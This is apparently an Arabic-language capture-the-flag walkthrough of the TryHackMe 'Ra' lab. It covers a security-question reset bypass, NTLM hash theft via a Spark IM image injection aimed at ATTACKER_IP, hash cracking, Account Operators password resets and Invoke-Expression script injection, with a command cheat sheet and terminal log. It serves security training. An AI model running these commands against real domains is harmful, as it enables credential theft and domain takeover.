Lab: Ra | STY IT Labs
STY IT Labs · TryHackMe · Advanced Active Directory

Lab: Ra
WindCorp — Password Reset → NTLM Capture → AD PrivEsc

دومين WindCorp كامل بواقعية عالية: تبدأ من ثغرة في نظام استرجاع كلمة السر (سؤال أمان متوقع من صورة موظف)، تستخدم ثغرة قديمة في عميل Spark IM لسرقة NTLM hash، وتستغل صلاحيات Account Operators لحقن سكريبت PowerShell بيشتغل بصلاحيات أعلى.

Hard Difficulty windcorp.thm CVE-2020-12772 NTLM Relay/Capture Account Operators Abuse
RESET SPARK AD PRIVESC WINDCORP DOMAIN RA
Hard
4 – 7 ساعات
3 Flags
lilyle · buse · brittanycr
TryHackMe
Windows Domain Controller

عن اللاب

windcorp.thm
IIS “Windcorp” Site
نظام استرجاع كلمة سر
fire.windcorp.thm
Fire / Domain Controller
Windows Server — مضيف SMB/Kerberos/LDAP
9090
Openfire Admin Console
مرتبط بثغرة Spark IM

Ra دومين WindCorp كامل بـ 35 بورت مفتوح. القصة تبدأ من نظام استرجاع كلمة سر بسؤال أمان (“حيوانك الأليف المفضل”) — وصورة موظف منشورة فيها اسم المستخدم واسم الحيوان بيكسر الحماية دي بالكامل. من هنا بتدخل شبكة SMB، وتستغل ثغرة قديمة في عميل Spark IM (CVE-2020-12772) لسرقة NTLM hash.

التصعيد النهائي بيعتمد على صلاحيات BUILTIN\Account Operators وسكريبت PowerShell بيشغّل Invoke-Expression على ملف قابل للكتابة من أي حد.

Ra Badge

من Password Reset Abuse لحد Domain Admin عبر Account Operators Exploitation

مسار الهجوم — من Password Reset لحد Domain Admin

1

فحص شامل + اكتشاف الدومين

SYN scan كامل يكشف 35 بورت مفتوح (DNS، HTTP، Kerberos، LDAP، SMB، WinRM، RDP، Openfire). فحص -sV -sC يكشف اسم الدومين windcorp.thm عبر NTLM info في RDP.

nmap -p- -sSRDP NTLM info leak
2

استغلال نظام استرجاع كلمة السر

صفحة Password Reset محتاجة اسم مستخدم وجواب سؤال أمان. صورة موظف منشورة فيها اسم الملف بيكشف اسم المستخدم واسم الحيوان الأليف — بيكفي لاسترجاع حساب lilyle.

Predictable security questionlilyle account reset
3

تعداد SMB Shares

بحساب lilyle، smbclient يكشف شيرز ADMIN$، C$، Shared، Users. شير Shared فيه Flag 1 وملفات تثبيت Spark 2.8.3. شير Users فيه قائمة كل مستخدمي الدومين.

smbclient -L //fire.windcorp.thmFlag 1 ✓
4

سرقة NTLM Hash عبر Spark (CVE-2020-12772)

Spark 2.8.3 معرّض لحقن <img> في الدردشة — رابط صورة بعيد بيخلي عميل الضحية يبعت طلب مصادقة NTLM. Responder بيصيد الـ hash لما buse يستقبل الرسالة.

CVE-2020-12772 (img injection)Responder -I tun0 -rdwv
5

كسر الـ Hash + WinRM كـ buse

Hashcat يكسر الـ NTLMv2 hash المسروق بـ rockyou.txt. evil-winrm يدخل بحساب buse ويحصل على Flag 2.

hashcat -m 5600evil-winrm as buse → Flag 2 ✓
6

اكتشاف صلاحيات Account Operators

whoami /groups يكشف إن buse عضو في BUILTIN\Account Operators — صلاحية بتسمح بإدارة حسابات غير مميزة، بما فيها إعادة تعيين كلمات السر.

whoami /groupsAccount Operators membership
7

حقن سكريبت PowerShell → Domain Admin 🏆

سكريبت checkservers.ps1 بيقرأ hosts.txt من مجلد brittanycr وينفذه بـ Invoke-Expression. بعد إعادة تعيين كلمة سر brittanycr، رفع hosts.txt مخصص بيخلق مستخدم جديد ويضيفه لمجموعة Administrators.

Invoke-Expression on writable fileNew admin user createdDomain Admin 🏆

مراحل اللاب

Full Port Scan
Password Reset
SMB Enum
Spark CVE
Account Operators
Domain Admin 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
nmap -p- -sS -Pn windcorp.thmفحص كامل لكل البورتات (35 بورت مفتوح)Recon
smbclient -L //fire.windcorp.thm -U lilyleتعداد شيرز SMB بحساب lilyleSMB
responder -I tun0 -rdwvصيد NTLMv2 hash من طلب صورة SparkCapture
hashcat -m 5600 hash.txt rockyou.txtكسر الـ NTLMv2 hash بعد الصيدCrack
evil-winrm -i fire.windcorp.thm -u buse -p ‘***’دخول WinRM بحساب buseAccess
whoami /groupsكشف عضوية BUILTIN\Account OperatorsEnum
net user brittanycr NewPass123! /domainإعادة تعيين كلمة سر brittanycr (صلاحية Account Operators)Abuse
smbclient //fire.windcorp.thm/Users -U brittanycrرفع hosts.txt مخصص لتنفيذ أمر خبيثPrivesc

المهام والأسئلة

Task 1 — فحص شامل للبورتات

اكتشاف الدومين windcorp.thm و35 بورت مفتوح

Recon

Task 2 — استغلال Password Reset

الحصول على بيانات lilyle + Flag 1 من SMB

Flag 1 ✓
03

Task 3 — Spark CVE-2020-12772

حقن صورة في الدردشة وصيد NTLM hash

CVE
04

Task 4 — كسر الـ Hash + WinRM

Hashcat ودخول بحساب buse + Flag 2

Flag 2 ✓
05

Task 5 — استغلال Account Operators

إعادة تعيين كلمة سر brittanycr

Abuse
06

Task 6 — حقن سكريبت → Domain Admin 🏆

رفع hosts.txt خبيث وإنشاء مستخدم Admin جديد

Flag 3 🏆
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — من Password Reset لحد Domain Admin

root@kali — Ra (windcorp.thm)
# Phase 1 — Recon + Password Reset
└─# nmap -p- -sS -Pn windcorp.thm
35 ports open: 53,80,88,389,445,636,3389,5985,9090…
[+] Password reset successful for lilyle (pet name from employee photo)

# Phase 2 — SMB Enumeration
└─# smbclient //fire.windcorp.thm/Shared -U lilyle
smb:\> get “Flag 1.txt”
[+] Flag 1 captured ✓

# Phase 3 — Spark CVE-2020-12772
└─# responder -I tun0 -rdwv
[Spark Chat] Sent: <img src=”http://ATTACKER_IP/x.png”>
[+] NTLMv2-SSP Hash captured: buse::WINDCORP:…
└─# hashcat -m 5600 hash.txt rockyou.txt
[+] Cracked: buse:**********

# Phase 4 — WinRM + Account Operators Abuse
└─# evil-winrm -i fire.windcorp.thm -u buse -p ‘**********’
*Evil-WinRM* PS C:\Users\buse> whoami /groups
BUILTIN\Account Operators
net user brittanycr P@ssw0rd123! /domain

# Phase 5 — Script Injection → Domain Admin
└─# smbclient //fire.windcorp.thm/Users -U brittanycr
smb:\> put hosts.txt brittanycr\hosts.txt
[+] checkservers.ps1 executed payload → user ‘hacktivities’ added to Administrators
└─# evil-winrm -i fire.windcorp.thm -u hacktivities -p ‘Passw0rd!’
[+] Domain Admin access confirmed — Flag 3 🏆

└─#

المهارات المكتسبة

Password Reset Flow Abuse
OSINT من صور الموظفين
SMB Share Enumeration
NTLM Hash Capture (Responder)
CVE Exploitation (Spark IM)
AD Group Privilege Abuse
Script Injection (Invoke-Expression)
Domain Admin Escalation

الأدوات المستخدمة

smbclientتعداد والوصول لشيرز SMB
Spark 2.8.3 (client)استغلال CVE-2020-12772 لصيد NTLM
Responderصيد NTLMv2 hash من طلب الصورة
Hashcatكسر الـ hash المسروق بـ rockyou.txt
evil-winrmالوصول عن بعد للدومين كمستخدمين مختلفين
لازم تضبط Spark محلياً وتفعّل خيارين متقدمين (تجاوز خطأ الشهادة) عشان يتصل بالدومين بنجاح — تأكد إن الـ status indicator بتاع الضحية “active” قبل ما تبعت الرسالة.